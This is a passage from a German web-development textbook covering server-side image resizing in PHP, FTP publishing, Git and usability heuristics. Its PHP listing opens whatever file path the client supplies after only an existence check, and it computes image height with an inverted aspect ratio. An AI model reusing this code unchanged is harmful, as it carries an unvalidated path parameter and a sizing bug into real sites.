                        "w=" . $_SESSION["devicewidth"]/2 → Die gewünschte Breite wird auf die halbe Breite des Bildschirms gesetzt.

                    

                

                Danach werden beide Informationen verknüpft und base64-kodiert. Auf der Serverseite werden diese Informationen wieder dekodiert, und danach wird das gewünschte Bild auf die gewünschte Größe gerechnet. Nun folgt der Code, der dies ermöglicht. Auch wenn Ihnen dieser Code jetzt noch nichts sagt, soll er doch zum Ausdruck bringen, welche Macht uns auf der Serverseite zur Verfügung steht.

                <?php
  $r = [];
  $arr = explode("&",base64_decode(array_keys($in)[0]));
  foreach($arr as $itm) {
    $tmp = explode("=",$itm);
    $r[$tmp[0]] = $tmp[1];
  }
  return $r;
}
$_GET = formdata_explode($_GET);
 
if(file_exists($_GET["path"])) {
  $path = $_GET["path"];
  $infos = getimagesize($path);
  $ar = $infos[0]/$infos[1];
  $w = isset($_GET["w"]) ? intval($_GET["w"]) : 0;
  $h = isset($_GET["h"]) ? intval($_GET["h"]) : 0;
 
  if($w!=0 || $h!=0) {
    if($w==0) { $w = $h/$ar; }
    if($h==0) { $h = $w*$ar; }
  }
  else {
    $w = $infos[0];
    $h = $infos[1];
  }
 
  switch($infos["mime"]) {
    case "image/jpeg":
      $res0 = imagecreatefromjpeg($path);
      break;
    case "image/png":
      $res0 = imagecreatefrompng($path);
      break;
    case "image/gif":
      $res0 = imagecreatefromgif($path);
      break;
    case "image/webp":
      $res0 = imagecreatefromwebp($path);
      break;
    case "image/avif":
      $res0 = imagecreatefromavif($path);
      break;
  }
 
  $res1 = imagecreatetruecolor($w,$h);
  $res1 = imagescale($res0,$w);
 
  header("Content-type:".$infos["mime"]);
  switch($infos["mime"]) {
    case "image/jpeg":
      imagejpeg($res1);
      break;
    case "image/png":
      imagepng($res1);
      break;
    case "image/gif":
      imagegif($res1);
      break;
    case "image/webp":
      imagewebp($res1);
      break;
    case "image/avif":
      imageavif($res1);
      break;
  }
}
?>


                Listing 8.34    
            Dynamische Bildgenerierung mit PHP

                Der Clou liegt wieder einmal darin, dass der Browser aufgrund des <img> erwartet, dass die Datei pic.php einen Bildinhalt zurückliefert, was nun durch die Zeile header("Content-type:".$infos["mime"]); realisiert wird. Dasselbe Prinzip haben wir auch beim Zusammenfassen mehrerer CSS- oder JS-Dateien kennengelernt, nur wird in diesem Beispiel auch noch auf den bisherigen Bildtyp Rücksicht genommen, der sich hinter $infos["mime"] verbirgt.

                Ideal wäre es natürlich, wenn die Bilder bereits serverseitig in der richtigen Größe abgelegt wären. Das könnte man natürlich ebenso realisieren, wobei der erste User, der die Website aufruft, das Generieren der Bilder anstößt, die dann nicht ausgegeben, sondern als Dateien auf dem Server abgelegt werden. Diese Vorgehensweise ist zwar für den ersten User aus Performance-Sicht nachteilig (das Erzeugen von Bildern auf der Serverseite benötigt ja Zeit), für alle weiteren User wäre es jedoch von Vorteil (die Bilder liegen bereits als Dateien vor).

            
        
        
            8.8.2    RESS – Responsive Webdesign with Server-Side Components

            Kommen wir zum Abschluss dessen, was wir vor vielen Seiten begonnen haben, und rollen wir alles noch einmal von vorne auf. Sorry hierfür gleich mal vorweg …

            Nachdem Sie nun gesehen haben, dass die Serverseite (das Backend) auf die Gegebenheiten wie Bildschirmbreite, -höhe und Pixeldichte Rücksicht nehmen kann, könnten Sie sich die Frage stellen, ob es nicht gleich möglich wäre, außer auf dynamische Medien direkt auf unterschiedliche HTML-Vorlagen zuzugreifen. Quasi frei nach dem Motto: »am Desktop so, am Smartphone so«. Beispielsweise würde im Smartphone-Fall auf einer Website eine andere HTML-Vorlage verwendet als im Desktop-Fall (frame_mobile.html vs. frame_desktop.html).

            Damit sind wir bei der Thematik der Templates angelangt. Und damit ist an dieser Stelle auch schon wieder Schluss, denn dieses Thema erfordert ein umfangreicheres Wissen in der serverseitigen Programmierung, das Sie sich in Kapitel 11, »Die Serverseite bzw. das Backend – Programmieren mit PHP« erst aneignen müssen.

        
    


                    
                        
        8.9    Ausblick

        Mit Sicherheit ist Ihnen mittlerweile bewusst geworden, dass das Responsive (Web) Design kein statisches Konzept ist, das – einmal entworfen – sich nie wieder ändert. Die ständige Weiterentwicklung der Basistechnologien HTML, CSS und JavaScript liefert dem User immer wieder neue Möglichkeiten, sofern die Entwickler*innen sie vorsehen. Gerade einen Entwickler stellt dies vor große Chancen (und ich sage hier bewusst nicht »Hürden«), kann er ein System doch besser und besser machen.

        Features, die aktuell noch wenig Platz haben, mit denen jedoch mit Sicherheit in der nächsten Zeit gerechnet werden darf, sind folgende:

        
            	
                Sprachsteuerung: Mittlerweile findet die Sprachsteuerung – nicht zuletzt aufgrund von Siri, Google Assistant, Alexa und Co. – immer mehr Anklang bei den Nutzer*innen. Es wird sicher nicht mehr allzu lange dauern, bis unsere User diese Möglichkeiten auch von unserer Website fordern. Welche Auswirkungen dies auf das soziale Umfeld des Users hat, sei einmal dahingestellt (ein Stichwort wäre hier etwa das permanente Gemurmel, das in einer akustischen Verschmutzung endet).
Die technische Basis für den Einsatz auf Websites ist mithilfe der Web Speech API (https://developer.mozilla.org/en-US/docs/Web/API/Web_Speech_API) und JavaScript jedenfalls schon gelegt. Zwar wird diese API noch nicht von allen gängigen Browsern unterstützt, aber die Entwicklung schreitet voran. (Speziell der Firefox von Mozilla sperrt sich in puncto Spracherkennung noch ein wenig, siehe etwa https://wiki.mozilla.org/Web_Speech_API_-_Speech_Recognition.)

            

            	
                Immersive Technologien: Augmented Reality (AR), Virtual Reality (VR), Mixed Reality (MR) und Extended Reality (XR) sind aus dem Gedankengut ambitionierter Entwickler nicht mehr wegzudenken. Durch sie wird es möglich, die Grenzen zwischen der Realität und der digitalen Welt aufzuweichen. Auch hier stellt uns JavaScript mit der WebXR API (https://developer.mozilla.org/en-US/docs/Web/API/WebXR_Device_API) bereits eine Schnittstelle bereit, die in Chrome, Edge und Opera bereits einsatzbereit ist. Bei der Entwicklung stellt es uns vor die Herausforderung, auch die dritte Dimension (neben Breite und Höhe) mitzuberücksichtigen.

            

            	
                Künstliche Intelligenz: Eine KI kann unterstützend wirken, wenn es beispielsweise um User-Verhalten, -Annahmen, -Wünsche und -Ziele geht, indem auf die User Experience Einfluss genommen wird. Dass eine KI auch bei der Entwicklung eine Hilfe sein kann, steht natürlich außer Zweifel.

            

        

    


                    
                        9    Veröffentlichung und Versionierung
In den vorangegangenen Kapiteln haben Sie gelernt, worauf Sie beim Erstellen einer Website achten müssen. In diesem Kapitel gehen wir davon aus, dass jetzt eine Website existiert, und sehen uns die Tätigkeiten rund um die Veröffentlichung an. Sie erhalten auch einen Einblick in die Versionierung mit Git.

        9.1    Der Veröffentlichungsprozess

        Um eine Website veröffentlichen zu können, müssen Sie zunächst folgende Vorarbeiten erledigen:

        
            	
                Sie müssen eine Domain registrieren und sicherstellen, dass die DNS-Einträge auf den angemieteten Webspace zeigen.

            

            	
                Sie müssen bei einem (Hosting-)Provider einen Webspace (gegebenenfalls samt Mailproviding etc.) anmieten, der in Zusammenhang mit der Domain funktioniert, sprich, der korrekt eingerichtet ist. Bestellen Sie die Domain zusammen mit dem Hosting bei ein und demselben Provider, so ist dies in der Regel auch der Fall.

            

        

        Sie erhalten dann vom Provider für die Bereitstellung der Site folgende Informationen:

        
            	
                FTP-Host-Adresse: Dies ist die öffentliche (Domänen- oder IP-)Adresse des FTP-Servers, auf den Sie die Daten hochladen müssen.

            

            	
                Host-Verzeichnis: Sollten Sie Ihre Website-Daten in ein Unterverzeichnis des Ihnen zugewiesenen Verzeichnisses hochladen müssen, so wird hiermit ein (relativer) Pfad zu diesem Unterverzeichnis angegeben. Typischerweise handelt es sich hierbei um Verzeichnisse mit Namen wie www, htdocs, httpdocs o. Ä.

            

            	
                Protokoll: Hier gibt es zwei Möglichkeiten (siehe unten). Sollte der Provider keine Angabe gemacht haben, sollten Sie von FTP als Übertragungsprotokoll ausgehen.

                
                    	
                        FTP (File Transfer Protocol)

                    

                    	
                        SFTP (SSH File Transfer Protocol)

                    

                

            

            	
                Verschlüsselung: Um die Datenübertragung sicher zu gestalten, ist eine Form der Verschlüsselung erforderlich. Zumeist wird explizites FTP über TLS verwendet, es stehen jedoch weitere Möglichkeiten bereit (siehe unten). Wie auch schon beim Protokoll gilt: Sollte Ihr Provider keine Angabe machen, sollten Sie von unverschlüsseltem FTP ausgehen.

            

            	
                Port: Das verwendete Protokoll in Zusammenhang mit der Verschlüsselungsmethode ergibt dann automatisch den FTP-Port. Sollte dies nicht der Fall sein, so darf man vom Standard-Port von FTP ausgehen: Port 21.

            

            	
                Username des FTP-Kontos: Weil eine Anmeldung am FTP-Server unabdingbar ist (ansonsten könnte ja jeder, der über die Informationen zu FTP-Host und Hostverzeichnis verfügt, Daten auf Ihren Webspace hochladen), ist dies der Username für den Login.

            

            	
                Passwort des FTP-Kontos

            

        

        Über einen (beliebigen) FTP-Client (eine Software zur Bereitstellung von Daten auf einen FTP-Server) verbinden Sie sich dann mithilfe der oben genannten Daten mit dem jeweiligen FTP-Server und laden die Daten hoch. Ein sehr gern verwendeter und auch frei verfügbarer FTP-Client ist etwa das Programm FileZilla, das Sie über den Link https://filezilla-project.org/download.php?type=client für entweder Windows oder macOS herunterladen können. Einmal installiert, präsentiert sich dieser FTP-Client so wie in Abbildung 9.1.

        
            [image: Startscreen von FileZilla, einem frei verfügbaren FTP-Client]

            Abbildung 9.1    
            Startscreen von FileZilla, einem frei verfügbaren FTP-Client

        
        Im linken oberen Eck befindet sich ein Icon namens Servermanager. Über einen Klick öffnen Sie den besagten Servermanager, um die Verbindung zu einem FTP-Server anzulegen (bzw. zu editieren) – siehe Abbildung 9.2.

        
            [image: Der Servermanager ist für das Anlegen bzw. Editieren von Verbindungen zu FTP-Servern zuständig.]

            Abbildung 9.2    
            Der Servermanager ist für das Anlegen bzw. Editieren von Verbindungen zu FTP-Servern zuständig.

        
        Klicken Sie hier auf den Punkt Neuer Server, so können Sie in weiterer Folge die vom Provider bereitgestellten Informationen eingeben. Dabei gilt: Server = FTP-Hostadresse. Die Angabe zu dem Hostverzeichnis versteckt sich im zweiten Tab namens Erweitert.

        Haben Sie dann alles so weit eingerichtet, wird der Server automatisch in der Liste der Server gespeichert und Sie können im rechten unteren Bereich dieses Fensters auf den Button Verbinden klicken. Hierdurch wird eine Verbindung zum (links ausgewählten) Server hergestellt. Im rechten Bereich des Fensters aus Abbildung 9.1 sehen Sie dann wie in Abbildung 9.3 eine Auflistung der bereits existierenden Dateien und Verzeichnisse auf diesem Server. Im linken Bereich des Fensters sind Ihre lokal verfügbaren Dateien und Verzeichnisse aufgeführt.

        Der weitere Prozess ist denkbar einfach: Sie wählen auf der linken Seite diejenigen Dateien und Verzeichnisse aus, die Sie hochladen wollen, und ziehen diese per Drag-and-drop (oder per Rechtsklick und Hochladen) in das gewünschte Verzeichnis auf dem Server. Fertig. Sämtliche Dateien und Verzeichnisse auf dem Server verhalten sich (natürlich) genauso wie ihre Gegenstücke auf dem lokalen Gerät: Sie können sie editieren, löschen, verschieben etc.

        
            [image: Die Verbindung zum gewünschten Server wurde hergestellt, wobei die hierfür notwendigen Befehle im oberen Bereich des Programmfebsters dargestellt werden.]

            Abbildung 9.3    
            Die Verbindung zum gewünschten Server wurde hergestellt, wobei die hierfür notwendigen Befehle im oberen Bereich des Programmfebsters dargestellt werden.

        
    


                    
                        
        9.2    Die Versionierung

        In Ihrer Karriere als Webentwickler*in werden Sie unweigerlich an den Punkt kommen, an dem Sie nicht mehr allein arbeiten, sondern gemeinsam im Team. Das hat zur Folge, dass unterschiedliche Personen an unterschiedlichen Dateien arbeiten, aber vielleicht arbeiten Sie auch (zeitversetzt) mit anderen an denselben Dateien. Spätestens dann wird ein System benötigt, das eine Versionierung ermöglicht: Wer hat welche Änderungen zu welchem Zeitpunkt an welchen Dateien vorgenommen? Hier fällt dann unweigerlich der Name Git.

        Git ist ein recht eigenwilliger Begriff, steht er doch im umgangssprachlichen Englisch für »Blödmann«. Erfunden und entwickelt wurde Git von Linus Torwalds, der einigen von uns mit Sicherheit bekannt ist, ist er doch der Initiator und die treibende Kraft hinter der Entwicklung des Linux-Kernels. Die wesentliche Idee hinter Git ist, dass kein zentraler Server benötigt wird, sondern sämtliche Dateien des gesamten Projekts (das sogenannte Repository) sowie eine Historie sämtlicher Änderungen lokal bei jedem Entwickler abgelegt sind. Obwohl so ein verteiltes System somit keinen zentralen Server hat, spricht man dennoch vom Hosting-oder Live Server als dem zentralen Server. Abbildung 9.4 verdeutlicht das Prinzip.

        
            [image: Ein Git verwaltet sämtliche Daten mitsamt aller Änderungen (Revisionen) lokal auf den Rechnern der Entwickler.]

            Abbildung 9.4    
            Ein Git verwaltet sämtliche Daten mitsamt aller Änderungen (Revisionen) lokal auf den Rechnern der Entwickler.

        
        Möchte also ein Entwickler Änderungen an einem Code des Systems vornehmen, so dupliziert er einen Teil des Codes und nimmt dort Änderungen vor. Diesen Prozess nennt man das Verzweigen. Ist er dann mit den Änderungen zufrieden, so kann er durch Einbinden seine Änderungen in den zentralen Code einspielen, wobei jede Änderung am Code nachverfolgbar gemacht wird. So ist es auch möglich, Änderungen zu widerrufen.

        Erfreulich ist, dass dem Thema Sicherheit viel Arbeit gewidmet wurde. So wird die Historie eines Projekts kryptografisch gesichert, um zu verhindern, dass nachträglich Änderungen an der Historie vorgenommen werden können.

        Mit GitHub wurde in weiterer Folge ein (gewinnorientierter) webbasiserter Hostingdienst ins Leben gerufen, mit dem Gits verwaltet werden können. Neben der kostenpflichtigen Version existiert auch die – wesentlich beliebtere – kostenfreie Version, in die Entwickler*innen ihren Code hochladen können, sofern dieser öffentlich ist (Public Code Repository). Aus diesem Grund ist GitHub auch in der Open-Source-Community sehr beliebt. GitHub bietet weiters auch Funktionalitäten an, die ein automatisiertes Veröffentlichen von Code ermöglichen: GitHub Actions (siehe Abbildung 9.5).

        
            [image: GitHub Actions vereinfacht den Veröffentlichungsprozess von Websites.]

            Abbildung 9.5    
            GitHub Actions vereinfacht den Veröffentlichungsprozess von Websites.

        
        GitHub ist natürlich nicht die einzige Plattform, die ein Git webbasiert zur Verfügung stellt. Viele Cloud-Hoster wie etwa Amazon oder Google (Cloud Source Repositories auf der Google Cloud) stellen eigene private Git-Installationen bereit. Auch Hoster wie etwa Netfify (https://www.netlify.com/) oder Vercel (https://vercel.com/) bieten ähnliche Dienste an.

        Nachdem Sie nun so weit sind, dass Sie erste Websites erstellen und diese auch veröffentlichen, lohnt sich auch ein Blick auf Git und Co. Vielleicht stellen Sie sich die Frage, warum ich Git nicht bereits zu Beginn unserer Reise angesprochen habe? Nun, die Antwort ist recht klar: Bevor wir uns ins Getümmel der Möglichkeiten zur Vereinfachung stürzen, müssen Sie die Basis kennen. Gratuliere, Sie sind so weit! Hauen Sie rein.

    


                    
                        10    Usability, User Experience und Barrierefreiheit
»Don’t make me think« – der Buchtitel von Steve Krug bringt das Ziel von Usability auf den Punkt. Gestalten Sie Ihre Webseiten so verständlich und intuitiv bedienbar, dass User nicht mehr darüber nachdenken müssen, wie sie funktionieren.
Wie stellen Sie Ihre User in den Mittelpunkt? Als Erstes gilt: Kenne Deine User!
Im Detail fragen Sie sich:

        	
            Wie kann ich den User (bzw. die Usergruppe) beschreiben?

        

        	
            Welche Wünsche, Vorstellungen und Anforderungen stellt dieser User (bzw. diese Usergruppe) an mein System?

        

        	
            Welche Einschränkungen (in Funktionalität, Design, Ansprache etc.) entstehen durch die Usergruppe?

        

        	
            ... und vieles Weitere mehr

        

    
Hoffentlich finden Sie möglichst viel heraus! Wie Sie das angehen können, darauf bin ich in Abschnitt 2.4, »Der User, das (un)bekannte Wesen«, eingegangen. Wir dürfen also weitergehen und nehmen uns nun die wichtigen Begriffe dieses Kapitels vor:

        	
            Usability

            Der Begriff Usability ist seit den Arbeiten von Jakob Nielsen in den Neunzigern ein stehender Begriff in der IT, und für die Usability von Webseiten (Web-Usability) ist Steve Krugs Werk »Don’t make me think«, das ich eingangs zitiere, bis heute wegweisend.

            Allgemein beschreibt Usability, zu Deutsch auch Gebrauchstauglichkeit, die Benutzbarkeit irgendeines Systems. Dies kann eine Waschmaschine oder eine Trinkflasche sein – oder eben auch eine Website oder App.

        

        	
            User Experience
Die User Experience ( UX) spannt den Bogen, der den User betrifft, noch etwas weiter, indem sie sich auch mit dem Davor und dem Danach beschäftigt.

        

        	
            Barrierefreiheit
Die Barrierefreiheit gilt als eines der wichtigsten Themen in der Webentwicklung. Hier geht es darum, Barrieren zu entfernen, die Usern mit Einschränkungen bei der Bedienung von Websites (Apps etc.) im Wege stehen könnten. Diese Einschränkungen können nicht nur, aber auch durch eine Schwerbehinderung bedingt sein. Die Verringerung solcher Barrieren ist in vielen Fällen gesetzlich vorgeschrieben.

        

    

        10.1    Usability

        Werfen wir einen Blick auf die Begriffsdefinition von Usability basierend auf der Norm ISO 9241-11, »Ergonomie der Mensch-System-Interaktion«:

        »Usability ist die Effektivität, Effizienz und Zufriedenheit, mit der bestimmte Benutzer bestimmte Ziele in einer bestimmten Arbeitsumgebung erreichen können.«


        Diese zwar etwas allgemeine Formulierung beinhaltet dennoch einige wesentliche Punkte:

        
            	
                Effektivität: Unter Effektivität versteht man ganz allgemein den Grad an Zielerreichung. Mit anderen Worten: Wie weit kommt der User in seinem Vorhaben?

            

            	
                Effizienz: Die Effizienz besagt, wie rasch bzw. mit wie wenig Aufwand ein User sein Ziel erreichen kann.
Diese ersten beiden sogenannten Usability-Attribute sind messbar, zum Beispiel kann sich der Aufwand mit einer Stoppuhr messen lassen. Das dritte Attribut ist jedoch subjektiver Natur:

            

            	
                Zufriedenheit: Dass Zufriedenheit nur schwer empirisch (also durch objektive Größen wie Zeiten, Werte etc.) messbar ist, liegt auf der Hand. In diesem Fall muss eine qualitative Messung wie etwa eine Befragung zum Einsatz kommen.

            

        

        Die weiteren Formulierungen zu bestimmten Usern in bestimmten Arbeitsumgebungen mit bestimmten Zielen ist ebenfalls etwas vage, lässt sich jedoch gut nachvollziehen, da man sich in einer derartigen Definition nicht auf eine bestimmte Arbeitsumgebung, ein bestimmtes Ziel oder einen bestimmten User festlegen kann.

        Wesentlich entscheidender ist, dass zu den drei obig genannten Attributen noch drei weitere Attribute hinzukommen. Dies ist einerseits dem Umstand geschuldet, dass wir User grundsätzlich in drei Gruppen unterteilen (Novizen/Neulinge, Durchschnittsuser, Experten). Andererseits müssen wir uns jedoch auch mit der Tatsache auseinandersetzen, dass in Systemen naturgemäß Fehler auftreten, die wiederum gemessen und bewertet werden müssen. Zusammenfassend erhalten wir sechs Usability-Attribute, die wir für die Bewertung und Messung von Systemen heranziehen werden:

        
            	
                Erlernbarkeit: Dieses Attribut bezieht sich auf Novizen, die ein System erlernen müssen.

            

            	
                Einprägsamkeit: Dieses Attribut bezieht sich auf Durchschnittsuser, die das System mehr oder weniger regelmäßig nutzen.

            

            	
                Fehlerrate: Mithilfe der Fehlerrate kann man die auftretenden Fehler messen und bewerten.

            

        

        Gute Usability vermeidet Frustration und fordert Nutzende nicht unnötig heraus. Neben dieser Interpretation von Usability sind zwei weitere Themen erwähnenswert:

        
            	
                Emotional Usability: Sie trägt dem Fakt Rechnung, dass Menschen Neuem mehrheitlich positiv begegnen und ihr Image darüber ausdrücken wollen. Die emotionale Verwendbarkeit ist ein Maß dafür, wie wünschenswert ein Produkt ist. Dies geht über die notwendigen funktionalen Ziele hinaus.

            

            	
                Aesthetic Usability: Sie trägt wiederum dem Fakt Rechnung, dass Menschen schöne (für sie ansprechende) Produkte von vornherein als more usable erachten – unabhängig davon, ob sie es in Hinblick auf ihre Usability auch wirklich sind.

            

        

        Die Emotional Usability hilft uns bei der Entwicklung in Form eines Bonus, den wir vom User erhalten; die Aesthetic Usability wiederum ist ein Appell an unser grafisches Design. Hat man in früheren Zeiten noch des Öfteren den Ausspruch »Don’t judge a book by its cover« gelesen, so ist heutzutage genau das Gegenteil der Fall: Dinge jeglicher Art werden zunächst einmal nach dem Äußeren beurteilt. Entspricht das Äußere den Vorstellungen des Users, so hat man sein Interesse geweckt. Nun gilt es, das geschenkte Vertrauen nicht zu enttäuschen.

        Also, wie erreichen wir das? Uns sollte bewusst sein, dass die Usability-gerechte Entwicklung Gegenstand einer fortlaufende Überprüfung (wir sagen Evaluierung) sein sollte. Ob das während der Konzipierung, der Prototypenentwicklung, der Entwicklung als solcher etc. geschieht, spielt keine Rolle. Eine solche Vorgehensweise wird als der Usability (Engineering) Lifecycle bezeichnet. Abbildung 10.1 zeigt seine Bestandteile.

        Werfen wir einen Blick auf die einzelnen Phasen:

        
            	
                Analysephase: Wir sorgen dafür, dass wir unsere User kennen, und machen uns Gedanken über den Markt und die Konkurrenz.

            

            	
                Konzeptionsphase: In dieser Phase werden die Usability Benchmarks aufgestellt, d. h. unsere Messlatten, die bestimmen, wohin wir aus Sicht der Usability gelangen wollen.

            

            	
                Entwicklungsphase: Diese Phase ist etwas umfangreicher, da es in ihr darum geht, ein gutes (zielorientiertes) Interaktions- und auch Interfacedesign zu entwickeln. Üblicherweise erarbeiten wir uns dieses iterativ, was bedeutet, dass wir Prototypen entwerfen, diese evaluieren, den Prototyp weiterentwickeln usw.

            

            	
                Einführungsphase: In dieser Phase evaluieren wir noch einmal. Außerdem sichern wir unser Wissen, um es für die Zukunft zur Hand zu haben.

            

            	
                Laufende Optimierung: Die laufende Optimierung beinhaltet Verbesserungen und Anpassungen, jedoch keine Revolutionen. Diese folgen erst mit dem nächsten Relaunch.

            

            	
                Relaunch-Vorbereitung: In diesem Teil bereitet man den Relaunch vor, um mit den Änderungen online zu gehen.

            

        

        
            [image: Der Usability Engineering Lifecycle verdeutlicht, dass das Thema Usability permanent mitberücksichtigt werden sollte.]

            Abbildung 10.1    
            Der Usability Engineering Lifecycle verdeutlicht, dass das Thema Usability permanent mitberücksichtigt werden sollte.

        
        Fraglich ist dann eigentlich nur, wie das angesprochene Evaluieren abläuft. Darauf gibt uns das Thema der Usability-Evaluierung Antwort.

        
            10.1.1    Klappt das alles, wie wir es uns gedacht haben? Usability-Evaluierung

            Falls Sie sich nun fragen, warum hier von Evaluieren gesprochen wird und nicht einfach von Usability-Testen – nun, unter Testen versteht man eigentlich etwas, an dem reale Personen (sprich Testkandidaten) beteiligt sind. In frühen Phasen der Entwicklung kann das problematisch sein, vor allem wenn es noch nichts zu testen gibt.

            Es gibt zum Glück Möglichkeiten, trotzdem zu evaluieren. Wir unterscheiden also:

            
                	
                    Usability-Inspektionsmethoden: Dies sind Untersuchungen, die man gedanklich vornimmt:

                    
                        	
                            »Stimmt das Konzept mit den User-Anforderungen überein?« oder

                        

                        	
                            »Wie gelangt der User von einem Ausgangs- zu einem Endpunkt in einem Ablauf von Tätigkeiten?«

                        

                    

                

                	
                    Usability-Testmethoden: Hier geht’s zur Sache, da (teilweise) fertige Produkte von realen Usern getestet werden können.

                

            

            Außerdem unterscheiden wir vier grundlegende Arten der Evaluierung:

            
                	
                    Explorative Evaluierung: Bei ihr versucht man, etwas darüber auszusagen, wie ein System genutzt werden wird. Diese Evaluierung findet demnach vor der Entwicklung statt und lässt Rückschlüsse über die potenziellen Möglichkeiten zu.

                

                	
                    Voraussagende Evaluierung: Während ihr stellt man eine Annahme auf, wie gut das System sein wird. Somit wird die Qualität eines zukünftigen Systems abgeschätzt. Durchgeführt werden solche Untersuchungen, nachdem das System entwickelt ist, aber bevor es implementiert wird.

                

                	
                    Formative Evaluierung: Hierbei macht man sich darüber Gedanken, wie das System verbessert werden kann. Dieser Prozess läuft während der Implementierung ab und gibt Auskunft darüber, warum manches schiefgelaufen ist (nicht, dass es schiefgelaufen ist). Formatives Evaluieren ist typischerweise eine qualitative Messung.

                

                	
                    Summative Evaluierung: Nun wird die Frage gestellt, wie gut das System ist. Derartige Untersuchungen finden somit nach der Entwicklung eines Systems statt, wenn ein Vergleich mit alternativen Systemen möglich ist. Derartige Messungen sind üblicherweise quantitativer Natur.

                

            

            Die ersten drei Verfahren sind Inspektionsmethoden, das letzte ist eine Testmethode. Werfen wir nun einen Blick darauf, wie solche Evaluierungen durchgeführt werden. Dabei ist es unser erklärtes Ziel, ein Gefühl für Usability-Evaluierungen zu bekommen und eine gewisse Awareness zu entwickeln, woüber man sich als Entwickler Gedanken machen sollte. Wir werden so keine Usability-Experten werden, aber eine Idee von der Thematik werden wir danach haben.

            Beginnen wir mit den Inspektionsmethoden. Sie verwenden Empfehlungen, die sich in der Praxis bewährt haben (Heuristiken), oder sie stellen Fragen der Art: »Wie könnte der User das erledigen und wie lange braucht er dazu?«

            
                Heuristische Evaluation

                Derartige Inspektionen laufen folgendermaßen ab: Ein Team von Bewertern (in der Regel Usability-Experten) gleicht das bereitgestellte Interface mit einem kleinen Set an Usability-Prinzipien ab. Eine der bekanntesten Heuristiken ist diejenige von Jakob Nielsen, die im Wesentlichen Folgendes aussagt (vgl. https://www.nngroup.com/articles/ten-usability-heuristics/):

                
                    	
                        Statusanzeige des Systems (Feedback): Es ist ein erklärtes Ziel, den User immer darüber auf dem Laufenden zu halten, was das System gerade macht. Beispiele sind unterschiedliche Darstellungen des Cursors, ein Ladebalken, aufblinkende Elemente etc. Je mehr Rückmeldung ein User erhält, umso mehr vertraut er dem System. Man sollte jedoch beachten, dass die Art der Rückmeldung dem System gerecht wird: Zumeist wünscht man sich eher dezente als zu plakative Rückmeldungen.

                    

                    	
                        Das System mit der realen Welt vergleichen: Hiermit ist gemeint, dass das Interface die Sprache (das Wording) des Users verwenden und somit auf ihn und sein Wissen und Verhalten abgestimmt sein soll. Außerdem sollten Informationen in einer natürlichen oder geordneten Reihenfolge erscheinen.

                    

                    	
                        Kontrolle und Freiheiten: Sehr oft verwendet der User die Freiheiten eines Systems fälschlich und benötigt daher einen Notausgang, um aus Situationen herauszukommen, die ihm nicht zusagen. Ein Beispiel wäre etwa der Abbruch eines beabsichtigten Kaufes in einem Onlineshop. Hierdurch kann es passieren, dass die vom User bereits eingegebenen Daten verloren gehen, was alles andere als gut wäre. Der User muss in der Lage sein, etwas rückgängig zu machen bzw. wiederherzustellen. Man denke nur an lange Formulare, bei denen die Eingaben durch einen Sprung zurück vorloren sind.

                    

                    	
                        Konsistenz und vorhandene Standards: Eines der beliebtesten Themen ist dasjenige der Konsistenz. Je mehr man auf Bekanntes zurückgreift, desto weniger muss sich ein User damit auseinandersetzen: Der User soll sich keine Gedanken darüber machen müssen, ob verschiedene Begriffe Gleiches oder Verschiedenes bedeuten. Hier werden gerne metaphorische Elemente (Papierkorb- oder Briefkuvertsymbol etc.) eingesetzt, da der User ohne darüber nachzudenken (bzw. ohne, dass er es sich in Erinnerung rufen muss) weiß, was damit gemeint ist.

                    

                    	
                        Schutz vor Fehlern: Eine gut formulierte Fehlermeldung ist fein, jedoch noch feiner ist das grundsätzliche Vermeiden von Fehlern. Sofern Fehler auftreten, sollte man sich zunächst auf die schwerwiegenden Fehler bzw. auf solche Fehler konzentrieren, die hohe Kosten verursachen: Ein Priorisieren der Fehler ist wichtig, ein Vermeiden von Fehlern jedoch umso wichtiger.

                    

                    	
                        Wiedererkennung vor In-Erinnerung-Rufen: Wichtige Objekte, Optionen und Aktionen sollten für einen User immer sichtbar sein. Unser User sollte sich nicht an Informationen eines zuvor sichtbaren Dialogs erinnern müssen (das Kurzzeitgedächtnis ist bekannterweise begrenzt).

                    

                    	
                        Flexibilität und Effizienz: Wie wir wissen, haben wir es mit unterschiedlich erfahrenen Usern zu tun. Insbesondere sollten wir Beschleuniger für erfahrene User anbieten: Ein One-Klick-Buy wie bei Amazon ermöglicht Usern, die einem System vertrauen, ein schnelleres Arbeiten.

                    

                    	
                        Ästhetik und minimalistisches Design: Stellen Sie vorrangig nur die wirklich wichtigen und notwendigen Informationen dar – weniger ist mehr.

                    

                    	
                        Gute Fehlermeldungen: Machen Sie klare Aussagen darüber, was schiefgegangen ist, und zwar in der Sprache des Users. Ein »Error 404« ist ja noch halbwegs bekannt, ein »Error 403« hingegen schon weniger. Fakt ist, dass es die wenigsten User interessiert, welcher Fehler aufgetreten ist. Viel wichtiger ist, wie der User aus dieser vertrackten Situation wieder herausfindet.

                    

                    	
                        Hilfe und Dokumentation: Idealerweise kommt ein System ohne Dokumentation aus (was in vielen Fällen jedoch Wunschdenken ist). Deshalb gilt: Sofern eine Dokumentation notwendig ist, geben Sie diese in einer leicht verständlichen Art und Weise an den User weiter. Und machen Sie die Dokumentation durchsuchbar – der User wird es Ihnen danken.

                    

                

                Liegen derartige Heuristiken einmal vor, so ist eine entsprechende Evaluierung relativ leicht umsetzbar. Zunächst einmal geht man davon aus, dass das Design als (verbale) Beschreibung, Sketch oder funktionsfähiger Prototyp bereitsteht. Danach werden die Usability-Kriterien (wie die oben stehende Heuristik) an die – typischerweise vier bis fünf – Bewerter ausgeteilt. Gegebenenfalls ist es notwendig, dass die Bewerter noch in das Umfeld eingewiesen werden (beispielsweise dann, wenn für ein bestehendes System eine Erweiterung realisiert werden soll, man jedoch mit dem Gesamtsystem vertraut sein muss: eine Erweiterung eines Onlineshops o. Ä.). Hat man dann alles beisammen, lässt man jeden Bewerter allein arbeiten, was in etwa ein bis zwei Stunden Arbeit bedeutet – je nach Umfang und Ausprägung der Kriterien natürlich.

                Die Bewertung durch die Experten erfolgt danach in zwei Schritten: Zunächst erfolgt eine Bewertung der allgemeinen Funktionalität (Überblick), danach werden ausgewählte Elemente im Detail behandelt. Jeder Bewerter führt üblicherweise zwei Listen, wo einerseits die potenziellen Probleme und andererseits die gut gelösten Szenarien notiert werden. Sollte es möglich sein, so sollten zu jedem Zeitpunkt Screenshots von Fehlern erzeugt werden – das aktuelle Szenario könnte später nicht mehr verfügbar sein, da man es ja mit Prototypen zu tun hat.

